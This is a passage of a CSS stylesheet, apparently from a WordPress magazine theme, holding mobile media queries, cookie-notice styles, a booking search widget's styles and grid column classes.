		height: auto
	}
	.penci-countdown .countdown-section {
		margin: 0 15px
	}
	.penci-countdown .countdown-amount {
		font-size: 40px
	}
	.penci-countdown .countdown-period {
		font-size: 16px;
		margin: 20px 0 0
	}
}
@media only screen and (max-width:479px) {
	#footer-section>.container,
	#widget-area>.container,
	.penci-page-header-wrap .penci-page-header-inner.container,
	.penci-post-image-wrapper>.container,
	.penci-single-smore .container,
	.penci-two-sidebar .container.penci-breadcrumb,
	.wrapper-boxed>.container,
	.wrapper-boxed>.penci-single-wrapper>.penci-single-block>.container,
	â€‹.penci-page-header-wrap {
		padding-left: 20px;
		padding-right: 20px
	}
	.penci-single-smore .container .container,
	.wrapper-boxed>.container>.container {
		padding-left: 0;
		padding-right: 0
	}
	#header .inner-header {
		height: auto
	}
	.penci-single-smore .container .container {
		padding-left: 0;
		padding-right: 0
	}
	.penci-header-signup-form {
		padding-left: 10px;
		padding-right: 10px
	}
	.penci-single-style-10 .header-standard,
	.penci-single-style-10 .post-box-meta-single,
	.penci-single-style-13 .header-standard,
	.penci-single-style-13 .post-box-meta-single {
		text-align: center
	}
	.feat-text-right {
		width: 330px;
		margin-left: -165px
	}
	.penci-google-adsense-single-s10 {
		width: 100%
	}
	#navigation,
	.inner-header {
		padding-left: 10px;
		padding-right: 10px
	}
	.header-slogan .header-slogan-text {
		font-size: 12px;
		padding: 0 10px
	}
	#navigation.header-6 .pcheader-icon {
		margin-left: 5px
	}
	#navigation.header-6 #logo img {
		max-width: 300px
	}
	.featured-carousel .featured-content {
		width: 250px
	}
	.featured-carousel .featured-content .feat-text h3 a,
	.featured-style-35 .feat-text-right h3 a {
		font-size: 16px
	}
	.featured-carousel .carousel-meta {
		display: none
	}
	.penci-image-holder.slider-style-1-fix {
		height: 180px
	}
	.penci-image-holder.slider-style-2-fix {
		width: 300px
	}
	.penci-image-holder.slider-style-3-fix {
		height: 180px
	}
	.penci-magazine-slider .mag-item-1 .mag-meta h3 a,
	.penci-magazine-slider .mag-meta h3 a {
		font-size: 14px
	}
	.penci-magazine-slider .mag-item-1 .mag-meta {
		padding: 15px
	}
	.featured-style-2 .penci-owl-carousel .swiper-slide,
	.featured-style-38 .penci-owl-carousel .swiper-slide {
		width: 360px
	}
	.featured-style-38 .penci-featured-content .feat-text h3 a {
		font-size: 18px
	}
	.penci-magazine-slider .penci-direction-nav a.penci-prev,
	.penci-owl-carousel .penci-owl-nav .owl-prev {
		left: 10px
	}
	.penci-magazine-slider .penci-direction-nav a.penci-next,
	.penci-owl-carousel .penci-owl-nav .owl-next {
		right: 10px
	}
	.penci-magazine-slider ul.mag-wrap li .mag-content {
		width: 100% !important;
		border: none !important
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li .mag-content {
		margin-bottom: 5px !important
	}
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li,
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-1,
	.penci-magazine-slider.penci-mag3-slider ul.mag-wrap li.mag-item-2 {
		margin: 0 !important;
		border: none !important
	}
	.featured-carousel.style-7 .featured-content {
		bottom: 5px
	}
	.featured-carousel.style-7 .featured-content .feat-text h3 a {
		padding: 0
	}
	.featured-style-37 .penci-owl-carousel .penci-owl-dots {
		display: none
	}
	.featured-style-37 .penci-item-1 .penci-slide-overlay .penci-mag-featured-content {
		bottom: 16px
	}
	.standard-content-special,
	.standard-post-image .audio-iframe {
		left: 10px;
		right: 10px;
		bottom: 10px
	}
	ul.homepage-featured-boxes .penci-fea-in.boxes-style-2 .fea-box-img:before {
		top: 10px;
		left: 10px;
		bottom: 10px;
		right: 10px
	}
	.grid-overlay-meta .grid-header-box {
		margin-left: 10px;
		margin-right: 10px
	}
	.footer-widget-wrapper .quote-widget>p {
		padding-left: 35px
	}
	#penci-login-popup {
		padding: 30px
	}
	.penci-lgpop-title {
		font-size: 22px
	}
	.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-image img,
	.widget ul.side-newsfeed li .side-item .side-image img {
		width: 100px
	}
	.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text h4 a,
	.widget ul.side-newsfeed li .side-item .side-item-text h4 a {
		font-size: 15px
	}
	.penci_recent-posts-sc ul.side-newsfeed li .side-item .side-item-text .side-item-meta,
	.widget ul.side-newsfeed li .side-item .side-item-text .side-item-meta {
		font-size: 13px
	}
	.post-box-meta span.author-post {
		display: none
	}
	.standard-post-special.penci-special-format-quote .standard-content-special {
		position: relative;
		left: auto;
		right: auto;
		bottom: auto;
		box-shadow: none;
		-webkit-box-shadow: none;
		-moz-box-shadow: none;
		border: 1px solid #dedede;
		border-top: none
	}
	.format-post-box {
		padding-left: 20px;
		padding-right: 20px;
		padding-top: 20px
	}
	.format-post-box.penci-format-link {
		padding: 15px
	}
	.format-post-box .dt-special a {
		font-size: 14px
	}
	.post-entry blockquote {
		padding: 0 0 0 40px
	}
	.post-entry blockquote:before {
		font-size: 30px
	}
	.post-entry blockquote,
	.post-entry blockquote p {
		font-size: 15px
	}
	.post-author .author-content {
		margin: 0
	}
	.author-img {
		margin-right: 20px
	}
	.author-img img {
		width: 80px;
		height: auto;
		margin: 0
	}
	.author-content h5,
	.author-content h5 a,
	.item-related h3 a,
	.post-box-title,
	.thecomment .comment-text span.author,
	.thecomment .comment-text span.author a {
		font-size: 18px
	}
	.penci-magazine-slider .penci-direction-nav a,
	.penci-slick-slider>button.slick-next,
	.penci-slick-slider>button.slick-prev {
		width: 32px;
		height: 32px;
		line-height: 32px;
		margin-top: -16px;
		font-size: 15px
	}
	.penci-slick-slider>button.slick-next {
		right: 10px
	}
	.penci-slick-slider>button.slick-prev {
		left: 10px
	}
	.penci-slick-slider>button.slick-next i,
	.penci-slick-slider>button.slick-prev i {
		line-height: 32px;
		font-size: 15px
	}
	.featured-carousel>button.slick-next,
	.featured-carousel>button.slick-prev {
		display: none !important
	}
	.featured-carousel .featured-content {
		width: 240px;
		top: 37%
	}
	.featured-carousel .featured-cat a {
		padding: 2px 10px 1px
	}
	.featured-carousel.style-2 .featured-content {
		top: 37%
	}
	.featured-carousel .featured-content .feat-text {
		padding: 15px 10px !important
	}
	.error-404 .heading-text-404,
	.header-classic>h2,
	.standard-main-content>h2 {
		font-size: 20px
	}
	.penci-portfolio.column-2 .portfolio-overlay-content .portfolio-short,
	.penci_sidebar .penci-portfolio.column-2 .portfolio-overlay-content .portfolio-short,
	.portfolio-overlay-content .portfolio-short {
		margin-top: 17.5%
	}
	.featured-carousel .featured-cat {
		margin-bottom: 5px
	}
	.featured-carousel .featured-content .feat-text h3 a,
	.wrapper-boxed.enable-boxed .featured-carousel .featured-content .feat-text h3 a {
		font-size: 14px
	}
	.penci-slider.penci-loading {
		min-height: 160px
	}
	.penci-slider ul.slides li .pencislider-container {
		padding: 0 20px
	}
	.penci-slider .pencislider-container .pencislider-content .pencislider-title {
		font-size: 14px
	}
	.penci-slider .pencislider-container .pencislider-content .pencislider-caption {
		font-size: 12px;
		margin: 3px 0 0
	}
	.penci-slider .pencislider-container .pencislider-content .penci-button {
		margin: 14px 0 0
	}
	.penci-slider .pencislider-container .pencislider-content .pencislider-button {
		padding: 5px 10px;
		font-size: 10px
	}
	.penci-slider .penci-direction-nav .penci-next,
	.penci-slider .penci-direction-nav .penci-prev {
		display: none !important
	}
	.penci-grid .list-post.list-boxed-post .item .content-list-right {
		padding: 30px 15px !important;
		clear: both
	}
	.penci-featured-content .feat-text {
		width: 100%
	}
	.featured-style-4 .penci-featured-content .feat-text h3 a,
	.featured-style-5 .penci-featured-content .feat-text h3 a {
		font-size: 16px
	}
	.penci-featured-infor .penci-entry-title {
		font-size: 18px
	}
	.featured-style-13 .penci-mag-featured-content h3 a,
	.featured-style-18 .penci-mag-featured-content h3 a,
	.penci-mag-featured-content h3 a {
		font-size: 12px
	}
	.featured-style-13 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-14 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-15 .penci-mag-featured-content h3 a,
	.featured-style-17 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-18 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-37 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-6 .penci-item-1 .penci-mag-featured-content h3 a {
		font-size: 16px
	}
	.featured-style-1 .penci-owl-carousel .penci-image-holder:before {
		padding-top: 50%
	}
	.penci-photo-2-effect figcaption h2,
	.penci_sidebar .penci-photo-2-effect figcaption h2 {
		font-size: 14px
	}
	.featured-style-13 .penci-image-holder:before,
	.featured-style-14 .penci-image-holder:before {
		height: 200px
	}
	.featured-style-17 .penci-image-holder:before,
	.featured-style-18 .penci-image-holder:before {
		height: 140px
	}
	.featured-style-17 .penci-slide17-item-2 .penci-image-holder:before,
	.featured-style-18 .penci-slide17-item-2 .penci-image-holder:before {
		height: 220px
	}
	.featured-style-19 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-19 .penci-item-1 .penci-mag-featured-content h3 a,
	.featured-style-19 .penci-mag-featured-content h3 a {
		font-size: 13px
	}
	.featured-style-22 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-22 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-22 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-22 .penci-item-4 .penci-mag-featured-content h3 a,
	.featured-style-22 .penci-item-5 .penci-mag-featured-content h3 a,
	.featured-style-22 .penci-item-6 .penci-mag-featured-content h3 a {
		font-size: 14px
	}
	.featured-style-22 .penci-item-1 .penci-mag-featured-content h3 a {
		font-size: 16px
	}
	.featured-style-22 .penci-item-2 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-22 .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-22 .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-22 .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-22 .penci-item-6 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23 .penci-item-1 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23 .penci-item-2 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23 .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23 .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23 .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23 .penci-item-6 .penci-slide-overlay .penci-mag-featured-content {
		padding: 0 5px;
		bottom: 10px
	}
	.featured-style-22.penci-flat-overlay .penci-item-2 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-22.penci-flat-overlay .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-22.penci-flat-overlay .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-22.penci-flat-overlay .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-22.penci-flat-overlay .penci-item-6 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23.penci-flat-overlay .penci-item-1 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23.penci-flat-overlay .penci-item-2 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23.penci-flat-overlay .penci-item-3 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23.penci-flat-overlay .penci-item-4 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23.penci-flat-overlay .penci-item-5 .penci-slide-overlay .penci-mag-featured-content,
	.featured-style-23.penci-flat-overlay .penci-item-6 .penci-slide-overlay .penci-mag-featured-content {
		padding: 12px 5px;
		bottom: 0
	}
	.featured-style-26 .penci-item-1 .penci-mag-featured-content h3 a {
		font-size: 16px
	}
	.featured-style-26 .penci-item-0 .penci-mag-featured-content h3 a,
	.featured-style-26 .penci-item-2 .penci-mag-featured-content h3 a,
	.featured-style-26 .penci-item-3 .penci-mag-featured-content h3 a,
	.featured-style-26 .penci-item-4 .penci-mag-featured-content h3 a {
		font-size: 14px
	}
	.featured-style-26 .penci-item-1 .penci-image-holder:before {
		height: 220px
	}
	.featured-style-27 .penci-item-1 .penci-mag-featured-content h3 a {
		font-size: 16px
	}
	.featured-style-28 .wrapper-item .penci-item-1 {
		width: 300px
	}
	.featured-style-28 .penci-item-1 .penci-image-holder:before {
		height: 404px;
		padding: 0
	}
	.featured-style-28 .penci-item-1 .penci-mag-featured-content h3 a {
		font-size: 18px
	}
	.featured-style-29 .penci-featured-content,
	.featured-style-30 .penci-featured-content {
		padding: 0 15px
	}
	.featured-style-29 .penci-featured-content .feat-text h3 a,
	.featured-style-30 .penci-featured-content .feat-text h3 a {
		font-size: 18px
	}
	.featured-style-29 .penci-image-holder:before,
	.featured-style-30 .penci-image-holder:before {
		height: 300px
	}
	.featured-style-29 .penci-featured-slider-button a,
	.featured-style-30 .penci-featured-slider-button a {
		height: 30px;
		line-height: 26px;
		padding: 0 10px;
		font-size: 11px
	}
	.featured-style-31 .penci-image-holder,
	.featured-style-32 .penci-image-holder {
		height: 400px !important
	}
	.pencislider-container .pencislider-content .pencislider-title {
		font-size: 20px
	}
	.pencislider-container .pencislider-content .pencislider-caption {
		font-size: 14px
	}
	.pencislider-container .pencislider-content .pencislider-button {
		padding: 8px 15px 8px;
		font-size: 12px
	}
	.container .penci-grid li.typography-style .grid-post-box-meta {
		display: none
	}
	.grid-mixed .mixed-detail {
		padding: 30px 15px
	}
	.grid-mixed .mixed-detail h2 a {
		font-size: 16px
	}
	.typography-style .content-typography {
		left: 10px;
		right: 10px;
		top: 10px;
		bottom: 10px
	}
	.penci-grid li.list-boxed-post-2 .inner-parent-boxed-2,
	.penci_sidebar .penci-grid li.list-boxed-post-2 .inner-parent-boxed-2 {
		min-height: 200px;
		height: auto;
		padding: 30px 15px
	}
	.error-404 .sub-heading-text-404 {
		font-size: 13px
	}
	.penci-post-box-meta,
	.penci-post-box-meta.post-box-boxed-1 {
		text-align: center
	}
	.penci-post-box-meta .penci-post-share-box {
		display: block;
		float: none;
		margin-top: 15px
	}
	.penci-post-box-meta .penci-box-meta i {
		display: none
	}
	.penci-more-link a.more-link {
		font-size: 12px;
		padding: 5px 0
	}
	.widget .tagcloud a {
		font-size: 10px !important;
		padding: 4px 10px 3px;
		margin-right: 4px;
		margin-bottom: 8px
	}
	.header-standard .post-title,
	.header-standard h2,
	.header-standard h2 a,
	.pc_titlebig_standard,
	.pc_titlebig_standard a,
	.penci-header-signup-form h4.header-signup-form,
	.penci-page-header h1 {
		font-size: 18px
	}
	.cat>a.penci-cat-name,
	.penci-grid li .item .cat a,
	.penci-masonry .item-masonry .cat a {
		font-size: 11px
	}
	.home-featured-cat-content .mag-photo .magcat-detail {
		padding: 15px;
		width: 100%
	}
	.home-featured-cat-content .mag-photo .magcat-detail h3 a {
		font-size: 16px;
		letter-spacing: 0
	}
	.home-featured-cat-content .magcat-detail .mag-meta {
		margin-top: 5px
	}
	.home-featured-cat-content .mag-photo .grid-post-box-meta span,
	.home-featured-cat-content .mag-photo .grid-post-box-meta span a {
		font-size: 12px
	}
	.home-featured-cat-content .magcat-detail h3 a {
		font-size: 15px;
		line-height: 1.3
	}
	.home-featured-cat-content .magcat-detail .mag-meta span {
		font-size: 13px
	}
	.post-box-meta-single span {
		margin-top: 3px
	}
	.penci-pagination .disable-url,
	.penci-pagination a {
		font-size: 11px
	}
	.penci-pagination a i {
		font-size: 12px
	}
	ul.slick-dots li button {
		margin: 0 3px
	}
	.home-pupular-posts-title {
		font-size: 16px
	}
	#footer-copyright * {
		font-size: 12px
	}
	.penci_facebook_widget .fb_iframe_widget {
		display: block;
		margin-left: auto;
		margin-right: auto
	}
	.penci-rlt-popup {
		width: 240px
	}
	.penci-rlt-popup .rtlpopup-heading {
		padding-left: 12px;
		font-size: 14px
	}
	.penci-rlt-popup .rltpopup-item {
		padding-bottom: 12px;
		margin-bottom: 12px
	}
	.penci-rlt-popup .penci-rtlpopup-content {
		padding: 12px
	}
	.penci-rlt-popup .rltpopup-thumbnail {
		margin-right: 12px;
		width: 80px
	}
	.penci-rlt-popup .penci-close-rltpopup {
		right: 2px
	}
	.penci-rlt-popup .rltpopup-meta .rltpopup-title {
		font-size: 13px
	}
	.penci-rlt-popup .rltpopup-meta .date {
		font-size: 12px
	}
	a img.alignleft,
	a img.alignnone,
	a img.alignright {
		margin: 0 auto 30px auto;
		float: none;
		display: block
	}
	.video-align-left,
	.video-align-right {
		margin-left: 0;
		margin-right: 0;
		float: none
	}
	.elementor-widget-text-editor ol,
	.elementor-widget-text-editor ul,
	.post-entry ol,
	.post-entry ul,
	.woocommerce .page-description ol,
	.woocommerce .page-description ul {
		padding-left: 25px
	}
	.archive-box h1,
	.archive-box span,
	.author-content h5,
	.author-content h5 a,
	.item-related h3 a,
	.post-box-title,
	.thecomment .comment-text span.author,
	.thecomment .comment-text span.author a {
		font-size: 16px
	}
	.post-header h1 {
		font-size: 16px
	}
	.page .post-header h1 {
		font-size: 20px
	}
	.post-tags {
		display: block
	}
	.post-share {
		display: block;
		float: none;
		margin-top: 8px
	}
	.post-share .share-title {
		display: inline-block
	}
	.post-pagination .next-post,
	.post-pagination .prev-post {
		width: 100%;
		float: none;
		text-align: center
	}
	.post-pagination h5,
	.post-pagination h5.next-title {
		padding: 0 !important
	}
	.post-pagination .prev-post {
		margin-bottom: 15px
	}
	.post-pagination.pcpagp-style-1 .penci-post-nav-thumb,
	.post-pagination.pcpagp-style-2 .penci-post-nav-thumb {
		display: none !important
	}
	.penci-related-grid-display .item-related {
		width: 100%;
		float: none
	}
	.comments ul.children {
		margin: 0 0 0 35px
	}
	#sidebar-nav {
		width: var(--pcsnav-w);
		transform: translateX(calc( var(--pcsnav-w) * -1 ));
		-webkit-transform: translateX(calc( var(--pcsnav-w) * -1 ));
		-moz-transform: translateX(calc( var(--pcsnav-w) * -1 ))
	}
	.open-sidebar-nav #close-sidebar-nav {
		left: var(--pcsnav-w)
	}
	.open-sidebar-nav #sidebar-nav {
		left: var(--pcsnav-w)
	}
	.penci-pagination ul.page-numbers li {
		margin-right: 5px
	}
	.penci-pagination ul.page-numbers li a,
	.penci-pagination ul.page-numbers li span {
		width: 25px
	}
	ul.footer-socials li {
		margin-right: 10px
	}
	ul.footer-socials li a {
		line-height: 32px
	}
	ul.footer-socials li a i {
		width: 32px;
		height: 32px;
		line-height: 32px;
		font-size: 14px
	}
	#footer-logo a {
		max-width: 280px
	}
	#footer-logo img {
		max-width: 100%
	}
	.footer-instagram h4.footer-instagram-title span {
		padding: 0 20px;
		font-size: 14px
	}
	.comments .children,
	.comments>.comment>.comment {
		margin: 0 0 0 20px
	}
	.overlay-post-box-meta>div {
		margin-top: 15px
	}
	.overlay-post-box-meta>div:first-child {
		margin-top: 0;
		display: block
	}
	.overlay-post-box-meta>div:after {
		content: none;
		display: none
	}
	.penci-single-mag-slider .magcat-detail {
		padding: 10px 15px
	}
	.penci-single-mag-slider .magcat-detail .magcat-titlte {
		font-size: 15px
	}
	.footer-menu li {
		padding: 0 5px
	}
	.penci-post-gallery-container.masonry .item-gallery-masonry {
		width: 100% !important;
		opacity: 1
	}
	.penci-post-gallery-container.masonry .item-gallery-masonry.animated {
		animation-name: none;
		-webkit-animation-name: none;
		-moz-animation-name: none;
		-o-animation-name: none
	}
	.footer-subscribe {
		padding: 40px 0
	}
	.footer-subscribe h4.footer-subscribe-title {
		font-size: 24px
	}
	.footer-subscribe .mc4wp-form {
		width: 100%;
		padding: 0 20px
	}
	.footer-subscribe .mc4wp-form .memail,
	.footer-subscribe .mc4wp-form .msubmit {
		width: 100%;
		float: none;
		margin-left: 0
	}
	.footer-subscribe .widget .mc4wp-form input[type=submit] {
		max-width: 100%
	}
	.penci-menu-hbg.mstyle-fullwidth {
		width: 100% !important;
	}
	.open-mobile-builder-sidebar-nav .penci-builder-mobile-sidebar-nav.mstyle-fullwidth {
		left: 100%;
	}
	.penci-builder-mobile-sidebar-nav.mstyle-fullwidth {
		transform: translateX(-100%);
		-webkit-transform: translateX(-100%);
		-moz-transform: translateX(-100%);
		transition: unset;
	}
	.open-mobile-builder-sidebar-nav .close-mobile-menu-builder.mstyle-fullwidth {
		height: auto;
		top: 10px;
		left: 10px;
		right: auto;
		z-index: 99999999;
		padding: 0;
		background: transparent;
	}
	.close-mobile-menu-builder.mstyle-fullwidth i {
		background-color: transparent;
		font-size: 18px;
	}
	.close-mobile-menu-builder.mstyle-fullwidth {
		background-color: transparent;
		transition: none;
	}
	.open-mobile-builder-sidebar-nav #wpadminbar {
		z-index: 9;
	}
	#sidebar-nav.mstyle-fullwidth {
		width: 100% !important;
	}
	.open-sidebar-nav #sidebar-nav.mstyle-fullwidth {
		left: 100%;
	}
	#sidebar-nav.mstyle-fullwidth {
		transform: translateX(-100%);
		-webkit-transform: translateX(-100%);
		-moz-transform: translateX(-100%);
		transition: unset;
	}
	.open-sidebar-nav #close-sidebar-nav.mstyle-fullwidth {
		height: auto;
		top: 10px;
		left: 10px;
		right: auto;
		z-index: 99999999;
		padding: 0;
		background: transparent;
	}
	#close-sidebar-nav.mstyle-fullwidth i {
		background-color: transparent;
		font-size: 18px;
	}
	#close-sidebar-nav.mstyle-fullwidth {
		background-color: transparent;
		transition: none;
	}
	.open-sidebar-nav #wpadminbar {
		z-index: 9;
	}
	.penci-single-style-12 {
		margin-bottom: 0;
	}
}
@media screen and (max-width:782px) and (min-width:601px) {
	.admin-bar .is-sticky #navigation {
		top: 46px !important
	}
}
@media screen and (max-width:600px) {
	.is-sticky #navigation {
		top: 0 !important;
		z-index: 999999
	}
	#close-sidebar-nav,
	#sidebar-nav,
	.penci-menu-hbg,
	.penci-menu-hbg-overlay {
		z-index: 9999999
	}
	#close-sidebar-nav i {
		display: inline-block
	}
}
.penci-wrap-gprd-law {
	display: block;
	color: #212121;
	font-size: 14px
}
.penci-gprd-law {
	padding: 7px 15px;
	color: inherit;
	font-size: inherit;
	display: block;
	text-align: center;
	transition: all .3s;
	-webkit-transition: all .3s;
	background: #f5f5f5
}
.penci-gprd-law p {
	font-size: inherit;
	color: inherit;
	margin: 0;
	display: inline-block
}
.penci-gprd-law .penci-gprd-accept,
.penci-gprd-law .penci-gprd-more {
	display: inline-block;
	padding: 0;
	line-height: 1;
	font-size: inherit;
	color: inherit;
	margin-left: 10px;
	transition: opacity .3s;
	-webkit-transition: opacity .3s
}
.penci-gprd-law .penci-gprd-accept {
	background: #212121;
	color: #fff;
	padding: 6px 15px
}
.penci-gprd-law .penci-gprd-accept:hover,
.penci-gprd-law .penci-gprd-more:hover {
	opacity: .8
}
.penci-gprd-law,
.penci-wrap-gprd-law .penci-gdrd-show {
	position: fixed;
	z-index: 19999;
	left: 0;
	bottom: 0;
	right: 0;
	width: 100%
}
.penci-wrap-gprd-law .penci-gdrd-show {
	display: inline-block;
	width: auto;
	right: 100px;
	left: auto;
	padding: 6px 15px;
	font-size: inherit;
	color: inherit;
	background: #f5f5f5;
	line-height: 1;
	transition: all .3s;
	-webkit-transition: all .3s;
	transition-delay: .2s;
	-webkit-transition-delay: .2s
}
.penci-wrap-gprd-law-close {
	z-index: 0
}
.penci-close-all .penci-gdrd-show,
.penci-close-all .penci-gprd-law {
	visibility: hidden
}
.penci-wrap-gprd-law .penci-gdrd-show,
.penci-wrap-gprd-law-close .penci-gprd-law {
	transform: translateY(100%);
	-webkit-transform: translateY(100%)
}
.penci-wrap-gprd-law-close .penci-gdrd-show {
	transform: translateY(0);
	-webkit-transform: translateY(0)
}
@media screen and (max-width:767px) {
	.penci-wrap-gprd-law .penci-gdrd-show {
		display: none !important
	}
}
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc {
	padding: 20px
}
#flexi_searchbox #b_searchboxInc .b_submitButton_wrapper .b_submitButton {
	display: inline-block
}
.bos_searchbox_widget_class #flexi_searchbox h1,
.bos_searchbox_widget_class #flexi_searchbox h2,
.bos_searchbox_widget_class #flexi_searchbox h3,
.bos_searchbox_widget_class #flexi_searchbox h4 {
	font-family: var(--pchead-font);
	font-style: normal;
	font-weight: var(--pchead-wei)
}
.bos_searchbox_widget_class #flexi_searchbox h3,
.bos_searchbox_widget_class #flexi_searchbox h4 {
	margin-bottom: 10px
}
.bos_searchbox_widget_class #flexi_searchbox h3 {
	font-size: 24px
}
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc input[type=text],
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc select {
	border-radius: 0;
	border: none
}
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc input[type=text] {
	height: 34px;
	line-height: 34px;
	padding: 0 10px !important;
	width: 100% !important
}
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc select {
	padding: 5px 10px !important;
	height: 28px;
	line-height: 28px;
	margin-right: 10px
}
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc .b_submitButton_wrapper .b_submitButton,
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc .b_submitButton_wrapper .b_submitButton:hover {
	border-radius: 0;
	border: none;
	box-shadow: none;
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	font-size: 14px;
	padding: 0 20px;
	line-height: 40px
}
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc .b_submitButton_wrapper .b_submitButton:hover {
	border: 0;
	border-radius: 0;
	opacity: .8
}
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc #b_searchCheckInDate,
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc #b_searchCheckOutDate,
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc #b_searchDest,
.bos_searchbox_widget_class #flexi_searchbox #b_searchboxInc .b_submitButton_wrapper {
	margin-bottom: 20px
}
.penci-vc-row {
	margin-left: -10px;
	margin-right: -10px;
	display: flex;
	flex-wrap: wrap
}
.penci-vc-column {
	float: left;
	padding-left: 10px;
	padding-right: 10px
}
.penci-vc-row:after {
	content: " ";
	display: table;
	width: 100%
}
.penci-col-1,
.penci-col-10,
.penci-col-11,
.penci-col-12,
.penci-col-2,
.penci-col-3,
.penci-col-4,
.penci-col-5,
.penci-col-6,
.penci-col-7,
.penci-col-8,
.penci-col-9 {
	position: relative;
	min-height: 1px;
	padding-left: 10px;
	padding-right: 10px
}
@media (min-width:480px) {
	.penci-col-1,
	.penci-col-10,
	.penci-col-11,
	.penci-col-12,
	.penci-col-2,
	.penci-col-3,
	.penci-col-4,
	.penci-col-5,
	.penci-col-6,
	.penci-col-7,
	.penci-col-8,
	.penci-col-9 {
		width: 100%
	}
}
@media (min-width:768px) {
	.penci-col-10,
	.penci-col-11,
	.penci-col-12,
	.penci-col-7,
	.penci-col-8,
	.penci-col-9 {
		width: 100%
	}
}
@media (min-width:992px) {
	.penci-col-1,
	.penci-col-10,
	.penci-col-11,
	.penci-col-12,
	.penci-col-2,
	.penci-col-3,
	.penci-col-4,
	.penci-col-5,
	.penci-col-6,
	.penci-col-7,
	.penci-col-8,
	.penci-col-9 {
		float: left;
		margin-bottom: 0
	}
	.penci-col-12 {
		width: 100%
	}
	.penci-col-11 {
		width: 91.66666667%
	}
	.penci-col-10 {
		width: 83.33333333%
	}
	.penci-col-9 {
		width: 75%
	}
	.penci-col-8 {
		width: 66.66666667%
	}
	.penci-col-7 {
		width: 58.33333333%
	}
	.penci-col-6 {
		width: 50%
	}
	.penci-col-5 {
		width: 41.66666667%
	}
	.penci-col-4 {
		width: 33.33333333%
	}
	.penci-col-3 {
		width: 25%
	}
	.penci-col-2 {
		width: 16.66666667%
	}
	.penci-col-1 {
		width: 8.33333333%
	}
}
.pencisc-grid .pencisc-grid-item {
	word-break: break-word;
	min-width: 0
}
.penci-lposts-ctcol.pencisc-grid-1 .penci-grid,
.penci-lposts-ctcol.pencisc-grid-2 .penci-grid,
.penci-lposts-ctcol.pencisc-grid-3 .penci-grid,
.penci-lposts-ctcol.pencisc-grid-4 .penci-grid,
.penci-lposts-ctcol.pencisc-grid-5 .penci-grid,
.penci-lposts-ctcol.pencisc-grid-6 .penci-grid {
	display: flex;
	overflow: hidden;
	flex-wrap: wrap;
	grid-column-gap: 30px;
	grid-row-gap: 30px
}
.penci-featured-cat-ctcol.pencisc-grid-1 .home-featured-cat-content,
.penci-featured-cat-ctcol.pencisc-grid-2 .home-featured-cat-content,
.penci-featured-cat-ctcol.pencisc-grid-3 .home-featured-cat-content,
.penci-featured-cat-ctcol.pencisc-grid-4 .home-featured-cat-content,
.penci-featured-cat-ctcol.pencisc-grid-5 .home-featured-cat-content,
.penci-featured-cat-ctcol.pencisc-grid-6 .home-featured-cat-content {
	display: flex;
	overflow: hidden;
	flex-wrap: wrap;
	grid-column-gap: 10px;
	grid-row-gap: 10px
}
.pencisc-grid-1 .pencisc-grid,
.pencisc-grid-2 .pencisc-grid,
.pencisc-grid-3 .pencisc-grid,
.pencisc-grid-4 .pencisc-grid,
.pencisc-grid-5 .pencisc-grid,
.pencisc-grid-6 .pencisc-grid {
	display: flex;
	overflow: hidden;
	flex-wrap: wrap;
	grid-column-gap: 30px;
	grid-row-gap: 30px
}
.penci-gallery-bsc .pencisc-grid {
	grid-column-gap: 0;
	grid-row-gap: 0
}
.penci-featured-cat-ctcol.pencisc-grid-1 .home-featured-cat-content,
.penci-lposts-ctcol.pencisc-grid-1 .penci-grid,
.pencisc-grid-1 .pencisc-grid {
	grid-template-columns: repeat(1, 1fr);
	display: grid
}
.penci-featured-cat-ctcol.pencisc-grid-2 .home-featured-cat-content,
.penci-lposts-ctcol.pencisc-grid-2 .penci-grid,
.pencisc-grid-2 .pencisc-grid {
	grid-template-columns: repeat(2, 1fr);
	display: grid
}
.penci-featured-cat-ctcol.pencisc-grid-3 .home-featured-cat-content,
